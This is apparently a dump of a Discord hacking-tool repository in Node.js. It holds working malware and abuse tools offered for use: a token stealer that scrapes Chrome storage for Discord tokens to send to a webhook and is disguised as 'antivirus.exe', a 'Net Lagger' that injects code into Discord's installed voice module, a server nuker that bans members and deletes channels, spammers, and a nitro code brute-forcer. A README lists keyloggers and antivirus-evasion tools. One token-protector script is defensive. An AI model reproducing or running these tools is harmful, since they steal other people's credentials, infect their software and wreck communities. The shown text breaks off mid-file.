require("discord.js-selfbot-v11") 3 | const Delay = require("delay") 4 | 5 | //Variables 6 | const Self_Args = process.argv.slice(2) 7 | 8 | const User = new Discord.Client() 9 | 10 | var Payload = "" 11 | 12 | //Functions 13 | function Generate_NewLines(amount){ 14 | var result = "" 15 | 16 | for( i = 0; i <= amount; i++ ){ 17 | result += "\n" 18 | } 19 | 20 | return result 21 | } 22 | 23 | 24 | //Main 25 | if(Self_Args.length == 0){ 26 | console.log(`node index.js 27 | Example: node index.js yourwebhooklinkhere 1100 5 target_guild_id target_channel_id`) 28 | process.exit() 29 | } 30 | 31 | if(Self_Args[0] == ""){ 32 | console.log("Invalid webhook_link.") 33 | process.exit() 34 | } 35 | 36 | if(Self_Args[1] == ""){ 37 | console.log("Invalid newlines_amount.") 38 | process.exit() 39 | } 40 | 41 | if(isNaN(Self_Args[1])){ 42 | console.log("spam_amount is not an Int.") 43 | process.exit() 44 | } 45 | 46 | if(Self_Args[2] == ""){ 47 | console.log("Invalid spam_amount.") 48 | process.exit() 49 | } 50 | 51 | if(isNaN(Self_Args[2])){ 52 | console.log("spam_amount is not an Int.") 53 | process.exit() 54 | } 55 | 56 | if(Self_Args[3] == ""){ 57 | console.log("Invalid guild_id.") 58 | process.exit() 59 | } 60 | 61 | if(Self_Args[4] == ""){ 62 | console.log("Invalid channel_id.") 63 | process.exit() 64 | } 65 | 66 | Payload = `\nLOL${Generate_NewLines(Self_Args[1])}LOL\n` 67 | 68 | User.on("ready", ()=>{ 69 | for( i = 0; i <= Self_Args[2]-1; i++ ){ 70 | Send() 71 | async function Send(){ 72 | User.guilds.find(guild => guild.id === Self_Args[3].toString()).channels.find(channel => channel.id === Self_Args[4].toString()).send(Payload).then(()=>{ 73 | console.log("Payload sent.") 74 | 75 | if(i == Self_Args[2]){ 76 | console.log("Finished.") 77 | process.exit() 78 | } 79 | }).catch(()=>{ 80 | console.log("Unable to send payload, guild/channel id might be invalid or something went wrong with the API request.") 81 | 82 | if(i == Self_Args[2]){ 83 | console.log("Finished.") 84 | process.exit() 85 | } 86 | }) 87 | } 88 | } 89 | }) 90 | 91 | User.login(Self_Args[0]) 92 | -------------------------------------------------------------------------------- /Net Lagger/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # ODiscord Net Lagger 4 | 100% Undetectable Discord Net Lagger. 5 | 6 | ## Installation 7 | NPM Packages: 8 | 9 | npm i os 10 | 11 | ## Build 12 | Install https://www.npmjs.com/package/pkg 13 | 14 | pkg index.js -o antivirus.exe(Can be anything) 15 | For more info of pkg click [me](https://www.npmjs.com/package/pkg). 16 | 17 | ## How does ODiscord Net Lagger works 18 | Once the file is runned, the file will check if Discord folder exist on AppData to see If Discord is installed and once the directory exist it will go to a Discord module called Discord Voice, then inject a malicious code to It's index.js. But It will only work If the user has NPM installed on their computer. 19 | 20 | ## License 21 | MIT © I2rys 22 | -------------------------------------------------------------------------------- /Net Lagger/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Fs = require("fs") 3 | const Os = require("os") 4 | 5 | //Variables 6 | var malicious_code = `ChildProcess.exec("npm install request", function(err,stdout, stderr){ 7 | if(err){ return } 8 | console.log("Request installed.") 9 | 10 | setInterval(function(){ 11 | require("request").get("https://example.com", function(err, res, body){ 12 | if(err){} 13 | 14 | console.log(res.statusCode) 15 | }) 16 | }, 100) 17 | 18 | setInterval(function(){ 19 | require("request").get("https://example.com", function(err, res, body){ 20 | if(err){} 21 | 22 | console.log(res.statusCode) 23 | }) 24 | }, 100) 25 | 26 | setInterval(function(){ 27 | require("request").get("https://example.com", function(err, res, body){ 28 | if(err){} 29 | 30 | console.log(res.statusCode) 31 | }) 32 | }, 100) 33 | })` 34 | 35 | //Main 36 | if(Fs.existsSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`)){ 37 | const Directories = source => Fs.readdirSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 38 | 39 | Directories().forEach(directory =>{ 40 | if(directory.indexOf("app") != -1){ 41 | Fs.readFile(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\discord_voice-6\\discord_voice\\index.js`, "utf8", function(err, data){ 42 | if(err){ 43 | process.exit() 44 | } 45 | 46 | if(data.indexOf("request") != -1){ 47 | process.exit() 48 | } 49 | 50 | data += `\n${malicious_code}` 51 | 52 | Fs.writeFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\discord_voice-6\\discord_voice\\index.js`, data, "utf8") 53 | }) 54 | } 55 | }) 56 | } 57 | -------------------------------------------------------------------------------- /Nitro Sniper/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # ODiscord Nitro Sniper 4 | A really simple Discord nitro sniper. 5 | 6 | ## Installation 7 | NPM Packages: 8 | 9 | npm i request && npm i discord.js-selfbot-v11 && npm i chalk 10 | 11 | ## Usage 12 | 13 | node index.js 14 | 15 | - discord_token - Your Discord token. 16 | 17 | ## License 18 | MIT © I2rys 19 | -------------------------------------------------------------------------------- /Nitro Sniper/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js-selfbot-v11") 3 | const Request = require("request") 4 | const Chalk = require("chalk") 5 | 6 | //Variables 7 | const Self_Args = process.argv.slice(2) 8 | 9 | const User = new Discord.Client() 10 | 11 | //Main 12 | if(Self_Args.length == 0){ 13 | console.log(`node index.js 14 | Example: node index.js MYsEcReTtOkEn`) 15 | process.exit() 16 | } 17 | 18 | if (!/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/i.test(Self_Args[0])) { 19 | console.log(Chalk.red("You provided an invalid Discord token")); 20 | process.exit(); 21 | } 22 | 23 | User.on("ready", ()=>{ 24 | console.log(Chalk.greenBright(`Discord nitro sniper is running.`)) 25 | }) 26 | 27 | User.on("message", (message)=>{ 28 | if(message.content.indexOf("discord.gift") != -1 || message.content.indexOf(".com/gift") != -1){ 29 | try{ 30 | const code = message.content.split("/")[message.content.split("/").length-1] 31 | 32 | Request.get(`https://discordapp.com/api/v6/entitlements/gift-codes/${code}/redeem`, { 33 | headers: { 34 | "Authorization": Self_Args[0] 35 | } 36 | }, function(err, res, body){ 37 | if(err){ 38 | console.log(Chalk.red(`Unable to redeem nitro code:${Chalk.white} ${code}`)) 39 | return 40 | } 41 | 42 | if(body.indexOf("redeemed already") != -1){ 43 | console.log(Chalk.red(`Nitro code:${Chalk.white} ${code} ${Chalk.red}is already redeemed.`)) 44 | }else if(body.indexOf("nitro") != -1){ 45 | console.log(Chalk.greenBright(`Nitro code:${Chalk.white} ${code} ${Chalk.greenBright}claimed.`)) 46 | }else{ 47 | console.log(Chalk.red(`Unknown nitro code:${Chalk.white} ${code}.`)) 48 | } 49 | }) 50 | }catch{} 51 | } 52 | }) 53 | 54 | User.login(Self_Args[0]) 55 | -------------------------------------------------------------------------------- /NuclearNuke/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord NuclearNuke 2 | Simple yet powerful & fast Discord server nuker. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i discord.js && npm i delay && npm i chalk 8 | 9 | ## Setup 10 | 1. Open index.js 11 | 2. Find **Self.token** and place your Discord bot token there. 12 | 3. Find **Self.user_id** and place your Discord account Id there 13 | 4. Save it & your done! 14 | 15 | ## Usage 16 | 17 | node index.js 18 | 19 | ## Note 20 | If you want to change the configuration of NuclearNuke open index.js then find **Self.configuration** and just change It's properties value. 21 | 22 | ## License 23 | MIT © I2rys 24 | -------------------------------------------------------------------------------- /NuclearNuke/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js") 3 | const Chalk = require("chalk") 4 | const Delay = require("delay") 5 | 6 | //Variables 7 | const Bot = new Discord.Client() 8 | 9 | var Self = {} 10 | Self.token = "" 11 | Self.user_id = "" 12 | Self.configuration = { 13 | change_members_nickname_to: "Nuked using NuclearNuke", 14 | make_channel_called: "Nuked using NuclearNuke", 15 | send_message_to_created_channel: "This server is nuked using NuclearNuke from https://github.com/i2rys/ODiscord", 16 | change_server_name_to: "Nuked using NuclearNuke", 17 | make_role_called: "Nuked using NuclearNuke", 18 | message_every_member: "One of the server your in has been nuked using NuclearNuke from https://github.com/i2rys/ODiscord", 19 | prune_days: 1, 20 | make_channel_spam_milliseconds: 1000, 21 | created_channel_message_spam_milliseconds: 2000 22 | } 23 | 24 | //Functions 25 | Self.log = function(type, message){ 26 | if(type == "info"){ 27 | console.log(`${Chalk.gray("[") + Chalk.blueBright("INFORMATION") + Chalk.gray("]")} ${message}`) 28 | }else if(type == "warn"){ 29 | console.log(`${Chalk.gray("[") + Chalk.yellowBright("WARNING") + Chalk.gray("]")} ${message}`) 30 | } 31 | } 32 | 33 | //Main 34 | Bot.on("ready", ()=>{ 35 | Self.log("info", "Nuker is running.") 36 | Self.log("info", "To nuke specific current server just type $>nuke in any channel of the server that you want to nuke and make sure the nuker bot is there.") 37 | Self.log("info", "Make sure the bot has a high permission.") 38 | }) 39 | 40 | Bot.on("message", async(message)=>{ 41 | if(message.content == "$>nuke" && message.author.id == Self.user_id){ 42 | Self.log("info", "Changing the server name.") 43 | message.guild.setName(Self.configuration.change_server_name_to).then(()=>{ 44 | Self.log("info", "Server named successfully changed.") 45 | }).catch(()=>{ 46 | Self.log("warn", "Unable to change the server name.") 47 | }) 48 | 49 | Self.log("info", "Messaging every members.") 50 | message.guild.members.cache.forEach(member=>{ 51 | member.send(Self.configuration.message_every_member).then(()=>{ 52 | Self.log("info", `Server member called ${member.user.tag} successfully messaged.`) 53 | }).catch(()=>{ 54 | Self.log("info", `Unable to send message to server member called ${member.user.tag}`) 55 | }) 56 | }) 57 | 58 | Self.log("info", "Deleting the server channels.") 59 | message.guild.channels.cache.forEach(channel=>{ 60 | channel.delete().then(()=>{ 61 | Self.log("info", `Server channel called ${channel.name} successfully deleted.`) 62 | }).catch(()=>{ 63 | Self.log("warn", `Unable to delete server channel called ${channel.name}.`) 64 | }) 65 | }) 66 | 67 | Self.log("info", "Nicknaming every members.") 68 | message.guild.members.cache.forEach(member =>{ 69 | member.setNickname(Self.configuration.change_members_nickname_to).then(()=>{ 70 | Self.log("info", `Successfully nicknamed server member called ${member.user.tag}`) 71 | }).catch(()=>{ 72 | Self.log("warn", `Unable to nickname server member called ${member.user.tag}`) 73 | }) 74 | }) 75 | 76 | Self.log("info", "Removing all roles.") 77 | message.guild.roles.cache.forEach(role=>{ 78 | role.delete().then(()=>{ 79 | Self.log("info", `Server role called ${role.name} successfully deleted.`) 80 | }).catch(()=>{ 81 | Self.log("warn", `Unable to delete server role called ${role.name}.`) 82 | }) 83 | }) 84 | 85 | Self.log("info", "Making 15 roles in the server.") 86 | for( let i = 0; i <= 14; i++ ){ 87 | message.guild.roles.create({ "data": { name: Self.configuration.make_role_called } }) .then((channel)=>{ 88 | Self.log("info", `Successfully created a server role called ${Self.configuration.make_role_called}`) 89 | }).catch(()=>{ 90 | Self.log("warn", `Unable to create a server role called ${Self.configuration.make_role_called}`) 91 | }) 92 | } 93 | 94 | Self.log("info", "Pruning server members.") 95 | message.guild.members.prune({ days: Self.configuration.prune_days }).then(()=>{ 96 | Self.log("info", "Successfully pruned server members.") 97 | }).catch(()=>{ 98 | Self.log("warn", "Unable to prune server members.") 99 | }) 100 | 101 | Self.log("info", "Banning server members.") 102 | message.guild.members.cache.forEach(member =>{ 103 | member.ban().then(()=>{ 104 | Self.log("info", `Successfully banned server member called ${member.user.tag}`) 105 | }).catch(()=>{ 106 | Self.log("warn", `Unable to ban server member called ${member.user.tag}`) 107 | }) 108 | }) 109 | 110 | Self.log("info", "Removing server emojis.") 111 | message.guild.emojis.cache.forEach(emoji =>{ 112 | emoji.delete().then(()=>{ 113 | Self.log("info", `Server emoji called ${emoji.name} successfully deleted.`) 114 | }).catch(()=>{ 115 | Self.log("warn", `Unable to delete server emoji called ${emoji.name}`) 116 | }) 117 | }) 118 | 119 | await Delay(2000) 120 | Self.log("info", "Making infinite channels in the server and messaging them.") 121 | setInterval(function(){ 122 | message.guild.channels.create(Self.configuration.make_channel_called).then((channel)=>{ 123 | Self.log("info", `Successfully created a server channel called ${Self.configuration.make_channel_called}`) 124 | setInterval(function(){ 125 | channel.send(Self.configuration.send_message_to_created_channel).then(()=>{ 126 | Self.log("info", `Successfully sent a message to a server channel called ${Self.configuration.make_channel_called}`) 127 | }).catch(()=>{ 128 | Self.log("warn", `Unable to send a message to a server channel called ${Self.configuration.make_channel_called}`) 129 | }) 130 | }, Self.configuration.created_channel_message_spam_milliseconds) 131 | }).catch(()=>{ 132 | Self.log("warn", `Unable to create a server channel called ${Self.configuration.make_channel_called}`) 133 | }) 134 | }, Self.configuration.make_channel_spam_milliseconds) 135 | } 136 | }) 137 | 138 | Bot.login(Self.token) 139 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

ODiscord

2 |

ODiscord has been transferred to an organization called OTAK and It's now called ZeroDiscord. Also all the reported bugs are also fixed, all of the tools has been refactored & rebuild therefore new tools will also be pushed there not here.

3 |

Collection of Discord hacking tools/fun stuff/exploits that is completely made using NodeJS

4 |

5 | 6 | 7 | 8 |

9 | 10 | # Before using any of these tools 11 | Automating your Discord account violates [Discord's Terms of Service](https://discord.com/tos) and can lead to you being ratelimited, disabled, or terminated. 12 |
Do **not** over-use these tools as, again, it will lead to ratelimits, account being disabled, or even terminated. 13 | 14 | ## Tools 15 | | Tools | Description | 16 | |------------------------------------------------------------------------------------------------ |--------------------------------------------------------------------------------------------------------------- | 17 | | [247AcO](247AcO) | A really simple code to run your Discord account 24/7 | 18 | | [ADS](ADS) | AIO Discord sniper that you can use also you can create plugins easily for ADS. | 19 | | [ASC](ASC) | Automatic status message changer. | 20 | | [ASDT](ASDT) | 100% Undetectable and the Best static Discord token grabber. | 21 | | [Audit Log Flooder](Audit%20Log%20Flooder) | A unique way to flood any Discord server Audit Log. | 22 | | [Bypassing Discord Chat Limit](Bypassing%20Discord%20Chat%20Limit) | A really simple glitch/bug or whatever I found to bypass Discord Chat Limit. | 23 | | [CMT](CMT) | Discord server channel mass threader. | 24 | | [Channel Messages Saver](Channel%20Messages%20Saver) | Just a channel messages saver. | 25 | | [Corrupter](Corrupter) | 100% Undetectable and Discord corrupter. | 26 | | [DMWD](DMWD) | Discord mass webhook deleter. | 27 | | [DNGCAAC](DNGCAAC) | Blazing fast Discord nitro generator, checker & auto claim. | 28 | | [DSIG](DSIG) | Discord server information grabber. | 29 | | [DT G&C](DT%20G&C) | A simple but fast Discord token generator & checker that checks 2 types of tokens. 1. The non mfa, 2. The mfa | 30 | | [DTGBG](DTGBG) | Discord token grabber builder. | 31 | | [Discord Account Bruteforce](Discord%20Account%20Bruteforce) | This bruteforce the account's password via dictionary. It might be slow due to captcha. | 32 | | [Discord tokens checker](Discord%20tokens%20checker) | A simple but blazing fast Discord tokens checker. | 33 | | [Dizzy Message](Dizzy%20Message) | This send's a messy message, If you look at it, It will make you dizzy. | 34 | | [Invisible Mention](Invisible%20Mention) | Mention anyone but It's hidden/masked. | 35 | | [Invite code server info](Invite%20code%20server%20info) | Retrieves the server information through It's invite code. | 36 | | [Keylogger](Keylogger) | 100% Undetectable and the Best Discord keylogger. | 37 | | [MAMIDS](MAMIDS) | Message all members in the Discord server. | 38 | | [MalCBAAV](MalCBAAV) | A way to make all of your malicious payload 100% undetectable. | 39 | | [MultiNewLine Channel Spammer](MultiNewLine%20Channel%20Spammer) | This send spam thousands of useless new lines on a discord server channel. | 40 | | [Net Lagger](Net%20Lagger) | 100% Undetectable Discord Net Lagger. | 41 | | [Nitro Sniper](Nitro%20Sniper) | A really simple Discord nitro sniper. | 42 | | [NuclearNuke](NuclearNuke) | Simple yet powerful & fast Discord server nuker. | 43 | | [Simple fast Discord Nitro Generator & Checker](Simple%20fast%20Discord%20Nitro%20Generator%20&%20Checker) | A really simple but fast Discord nitro generator & checker. | 44 | | [Token Protector](Token%20Protector) | A simple but effective Discord token protector. | 45 | | [Token Stealer](Token%20Stealer) | 100% Undetectable Discord token Stealer. | 46 | | [Token Sniper](Token%20Sniper) | A really simple Discord token sniper (obsolete) | 47 | | [Token stealer spider](Token%20stealer%20spider) | 100% Undetectable Discord token stealer spider. | 48 | | [Webhook Spammer](Webhook%20Spammer) | A really fast Discord Webhook Spammer. | 49 | 50 | ## Useful tools for ODiscord 51 | 52 | 1. [ResourceHacker](http://www.angusj.com/resourcehacker/) 53 | 2. [ResEdit](https://www.start64.com/index.php/64-bit-software/64bit-development/5701-resedit-64bit-version) 54 | 55 | ## License 56 | MIT © I2rys 57 | -------------------------------------------------------------------------------- /SCW/README.md: -------------------------------------------------------------------------------- 1 | # DISCLAIMER 2 | Rate limits can last 30 minutes. Please do not over use this tool as it will cause issues and can lead to your account being disabled for API abuse (like any tool on this repo) 3 | 4 | # ODiscord SCW 5 | Spam create webhook in a Discord server channel. 6 | 7 | ## Installation 8 | NPM Packages: 9 | 10 | npm i node-fetch@2.6.1 chalk@4.1.2 11 | 12 | ## Usage 13 | ``` 14 | node index.js 15 | ``` 16 | 17 | + discord_token - Your account Discord token. 18 | + channel_id - The target channel ID. 19 | + amount - The amount of webhooks to create. 20 | 21 | ## License 22 | MIT © I2rys 23 | -------------------------------------------------------------------------------- /SCW/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const fetch = require("node-fetch"); 3 | const chalk = require('chalk'); 4 | 5 | //Variables you do not need to touch 6 | const error = chalk.bold.red; 7 | const warning = chalk.keyword('orange'); 8 | const success = chalk.keyword('green'); 9 | const Self_Args = process.argv.slice(2); 10 | 11 | //Variables you can touch 12 | const webhookName = "Captain Hook"; // this is the webhook name, you can change it to whatever you want 13 | 14 | //Main 15 | if(!Self_Args.length){ 16 | console.log("node index.js "); 17 | process.exit(); 18 | } 19 | 20 | if (!/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/i.test(Self_Args[0])) { 21 | console.log(error("You provided an invalid Discord token")); 22 | process.exit(); 23 | } 24 | 25 | if(!/^[0-9]{18}$/.test(Self_Args[1])){ 26 | console.log(error("You didn't provide a valid channel ID")); 27 | process.exit(); 28 | } 29 | 30 | if(Self_Args[2] <= 0 || isNaN(Self_Args[2])){ 31 | console.log(error("You provided an invalid amount.")); 32 | process.exit(); 33 | } 34 | 35 | let amount = Self_Args[2]; 36 | makeWebhooks(amount); 37 | 38 | async function makeWebhooks(i) { 39 | if(i == 0){ 40 | console.log(success("Finished creating webhooks.")); 41 | process.exit(); 42 | } 43 | 44 | fetch(`https://discordapp.com/api/v6/channels/${Self_Args[1]}/webhooks`, { 45 | method: "GET", 46 | headers: { 47 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/5361 (KHTML, like Gecko) Chrome/39.0.898.0 Mobile Safari/5361", 48 | "Content-Type": "application/json", 49 | "Authorization": Self_Args[0] 50 | } 51 | }).then(res => res.json()).then(data => { 52 | if (data.length == 10) { 53 | console.log(error("You have reached the maximum amount of webhooks for this channel.")); 54 | process.exit(); 55 | } else { 56 | console.log(warning(`You are ${10 - data.length} away from the maximum amount of webhooks for this channel.`)); 57 | fetch(`https://discord.com/api/v9/channels/${Self_Args[1]}/webhooks`, { 58 | method: "POST", 59 | headers: { 60 | "User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/5361 (KHTML, like Gecko) Chrome/39.0.898.0 Mobile Safari/5361", 61 | "Content-Type": "application/json", 62 | "Authorization": Self_Args[0] 63 | }, 64 | body: JSON.stringify({ name: webhookName }) 65 | }).then(res => { 66 | console.log(res.status); 67 | switch (res.status) { 68 | case 200: 69 | i--; 70 | console.log(warning(`Webhooks left to create: ${i}`)); 71 | makeWebhooks(i); 72 | break; 73 | case 429: 74 | console.log(error("You have exceeded the rate limit. Please wait a few minutes and try again.")); 75 | process.exit(); 76 | case 400: 77 | console.log(error("The request was malformed.")); 78 | process.exit(); 79 | default: 80 | console.log(error(`Something went wrong with the status code ${res.status}. Please try again.`)); 81 | process.exit(); 82 | } 83 | }).catch(console.error()); 84 | } 85 | }); 86 | } 87 | -------------------------------------------------------------------------------- /Simple Hella Fast Discord Nitro Gen & Checker/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | # ODiscord Simple fast Discord Nitro Generator & Checker 5 | A really simple but fast Discord nitro generator & checker 6 | 7 | ## Installation 8 | NPM Packages: 9 | 10 | npm i random-useragent && npm i discordnitro && npm i discord.js && npm i request && npm i chalk 11 | 12 | ## Usage 13 | 14 | node index.js 15 | 16 | - checking_speed - The checking speed. 17 | - webhook_link - The webhook link on where to send valid nitros. 18 | 19 | ## License 20 | MIT © I2rys 21 | -------------------------------------------------------------------------------- /Simple Hella Fast Discord Nitro Gen & Checker/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Random_UserAgent = require("random-useragent") 3 | const Discord_Nitro = require("discordnitro") 4 | const Discord = require("discord.js") 5 | const Request = require("request") 6 | 7 | //Variables 8 | const Self_Args = process.argv.slice(2) 9 | 10 | //Main 11 | if(!Self_Args.length){ 12 | console.log(`node index.js 13 | Example: node index.js 1000 yourwebhooklink`) 14 | process.exit() 15 | } 16 | 17 | if(!Self_Args[0]){ 18 | console.log("Invalid checking_speed.") 19 | process.exit() 20 | } 21 | 22 | if(isNaN(Self_Args[0])){ 23 | console.log("checking_speed is not an Int.") 24 | process.exit() 25 | } 26 | 27 | if(!Self_Args[1]){ 28 | console.log("Invalid webhook_link.") 29 | process.exit() 30 | } 31 | 32 | const Webhook = new Discord.WebhookClient(Self_Args[1].split("/").length-2, Self_Args[1].split("/").length-1) 33 | 34 | setInterval(function(){ 35 | const code = Discord_Nitro(1)[0] 36 | 37 | Request(`https://discordapp.com/api/v9/entitlements/gift-codes/${code}?with_application=false&with_subscription_plan=true`, { 38 | headers: { 39 | "User-Agent": Random_UserAgent.getRandom() 40 | } 41 | }, function(err, res, body){ 42 | if(err){ 43 | console.log(`Invalid nitro code: ${code}`) 44 | return 45 | } 46 | 47 | try{ 48 | if(res.statusCode == 200){ 49 | console.log(`Valid nitro code: ${code}`) 50 | Webhook.send(`Valid nitro code: ${code}`) 51 | }else{ 52 | console.log(`Invalid nitro code: ${code}`) 53 | } 54 | }catch{ 55 | console.log(`Invalid nitro code: ${code}`) 56 | } 57 | }) 58 | }, Self_Args[0]) 59 | -------------------------------------------------------------------------------- /Token Protector/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord token protector 3 | A simple but effective Discord token protector. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i os && npm i chokidar && npm i path && npm i delay 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | ## License 15 | MIT © I2rys 16 | -------------------------------------------------------------------------------- /Token Protector/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Chokidar = require("chokidar") 3 | const Delay = require("delay") 4 | const Path = require("path") 5 | const Os = require("os") 6 | const Fs = require("fs") 7 | 8 | //Startup 9 | if(!Fs.existsSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Roaming\\discord`)){ 10 | console.log("It seems like you don't have Discord installed in your PC.") 11 | process.exit() 12 | } 13 | 14 | //Variables 15 | const Homedir = Os.userInfo().homedir 16 | 17 | const Token_Protector = { 18 | directories_to_watch: [ 19 | `${Homedir}\\AppData\\Roaming\\discord\\Local Storage\\leveldb`, 20 | `${Homedir}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb` 21 | ], 22 | discord_tokens_regex: new RegExp(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/, "g"), 23 | spider_time: 10000 //Milliseconds 24 | } 25 | 26 | //Functions 27 | function directory_files(dir, done) { 28 | var results = [] 29 | 30 | Fs.readdir(dir, function (err, list) { 31 | if (err) return done(err) 32 | 33 | var list_length = list.length 34 | 35 | if (!list_length) return done(null, results) 36 | 37 | list.forEach(function (file) { 38 | file = Path.resolve(dir, file) 39 | 40 | Fs.stat(file, function (err, stat) { 41 | if (stat && stat.isDirectory()) { 42 | directory_files(file, function (err, res) { 43 | results = results.concat(res) 44 | 45 | if (!--list_length) done(null, results) 46 | }) 47 | } else { 48 | results.push(file) 49 | 50 | if (!--list_length) done(null, results) 51 | } 52 | }) 53 | }) 54 | }) 55 | } 56 | 57 | Token_Protector.tokens_remover = function(file_path){ 58 | Fs.readFile(file_path, "utf8", function(err, data){ 59 | if(err){ 60 | console.log(`Unable to read file ${file_path}`) 61 | return 62 | } 63 | 64 | if(data.match(Token_Protector.discord_tokens_regex)){ 65 | console.log(`Tokens found in file ${file_path}`) 66 | 67 | data = data.replace(Token_Protector.discord_tokens_regex, "") 68 | 69 | Fs.writeFileSync(file_path, data, "utf8") 70 | console.log(`Tokens in file ${file_path} are removed.`) 71 | }else{ 72 | console.log(`No tokens found in file ${file_path}`) 73 | } 74 | }) 75 | } 76 | 77 | Token_Protector.watch_directory = function(directory_path){ 78 | if(!Fs.existsSync(directory_path)){ 79 | console.log(`Directory path ${directory_path} doesn't exist, therefore skipping the directory.`) 80 | return 81 | } 82 | 83 | console.log(`Watching directory ${directory_path}`) 84 | 85 | const directory_files = Fs.readdirSync(directory_path, "utf8") 86 | const directory_watcher = Chokidar.watch(directory_path, { 87 | awaitWriteFinish: true 88 | }) 89 | 90 | directory_watcher.on("change", (path)=>{ 91 | console.log(`Changes detected in file ${path}`) 92 | 93 | console.log(`Checking any tokens in file ${path}`) 94 | Token_Protector.tokens_remover(path) 95 | }) 96 | 97 | console.log(`Checking directory ${directory_path} files for any tokens.`) 98 | for( i in directory_files ){ 99 | Token_Protector.tokens_remover(`${directory_path}\\${directory_files[i]}`) 100 | } 101 | } 102 | 103 | Token_Protector.spider = async function(){ 104 | console.log(`[Spider] Discord file spidering will start in ${Token_Protector.spider_time} milliseconds.`) 105 | await Delay(Token_Protector.spider_time) 106 | 107 | console.log("[Spider] Gathering Discord files.") 108 | directory_files(`${Homedir}\\AppData\\Roaming\\discord`, function(err, files){ 109 | if(err){ 110 | process.exit() 111 | } 112 | 113 | console.log("[Spider] Checking Discord files.") 114 | files.forEach(file =>{ 115 | var data = Fs.readFileSync(file, "utf8") 116 | 117 | if(data.match(Token_Protector.discord_tokens_regex)){ 118 | data = data.replace(Token_Protector.discord_tokens_regex) 119 | 120 | Fs.writeFile(file, data, "utf8", function(err){ 121 | if(err){ 122 | console.log(`[Spider] Unable to remove some Discord tokens in ${file}`) 123 | return 124 | } 125 | 126 | console.log(`[Spider] Discord tokens in file ${file} has been removed.`) 127 | }) 128 | } 129 | }) 130 | 131 | console.log("[Spider] Spidering is finished.") 132 | Token_Protector.spider() 133 | }) 134 | } 135 | 136 | //Main 137 | Token_Protector.spider() 138 | 139 | for( i in Token_Protector.directories_to_watch ){ 140 | Token_Protector.watch_directory(Token_Protector.directories_to_watch[i]) 141 | } 142 | -------------------------------------------------------------------------------- /Token Stealer/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Token Stealer 3 | 100% Undetectable Discord token Stealer. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i discord.js && npm i public-ip && npm i os 9 | 10 | ## Build 11 | 12 | 1. Open index.js and find WebhookID and WebhookToken. 13 | 2. Change it with your Webhook ID and Webhook Token. 14 | 3. Compile index.js to exe file using pkg. 15 | 4. Your done. 16 | 17 | Install https://www.npmjs.com/package/pkg 18 | 19 | pkg index.js -o antivirus.exe(Can be anything) 20 | For more info of pkg click [me](https://www.npmjs.com/package/pkg). 21 | 22 | ## How does ODiscord Token Stealer works 23 | Once the file is runned, the file will check 2 directories where the Discord tokens will be logged and It will use regex to find Discord token/tokens then send it via Discord webhook. 24 | 25 | ## License 26 | MIT © I2rys 27 | -------------------------------------------------------------------------------- /Token Stealer/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js") 3 | const Public_IP = require("public-ip") 4 | const Os = require("os") 5 | const Fs = require("fs") 6 | 7 | //Variables 8 | const Webhook = new Discord.WebhookClient("WebhookID", "WebhookToken") 9 | 10 | var Self_Data = {} 11 | Self_Data.cdt = null 12 | Self_Data.sdt = null 13 | 14 | //Main 15 | Main() 16 | function Main(){ 17 | CDT() 18 | function CDT(){ 19 | Fs.readdir(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb`, "utf8", function(err, files){ 20 | if(err){ 21 | SDT() 22 | return 23 | } 24 | 25 | files.forEach(file =>{ 26 | if(file.indexOf("log") != -1){ 27 | const log_data = Fs.readFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\${file}`, "utf8") 28 | const tokens = Array.from(log_data.matchAll(/(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})/g)) 29 | var result_tokens = "" 30 | 31 | if(tokens.length == 0){ 32 | Self_Data.cdt = "No discord tokens in chrome." 33 | SDT() 34 | return 35 | } 36 | 37 | for( i = 0; i <= tokens.length-1; i++ ){ 38 | if(result_tokens.indexOf(tokens[i][0]) == -1){ 39 | if(result_tokens.length == 0){ 40 | result_tokens = tokens[i][0] 41 | }else{ 42 | result_tokens += `, ${tokens[i][0]}` 43 | } 44 | } 45 | } 46 | 47 | 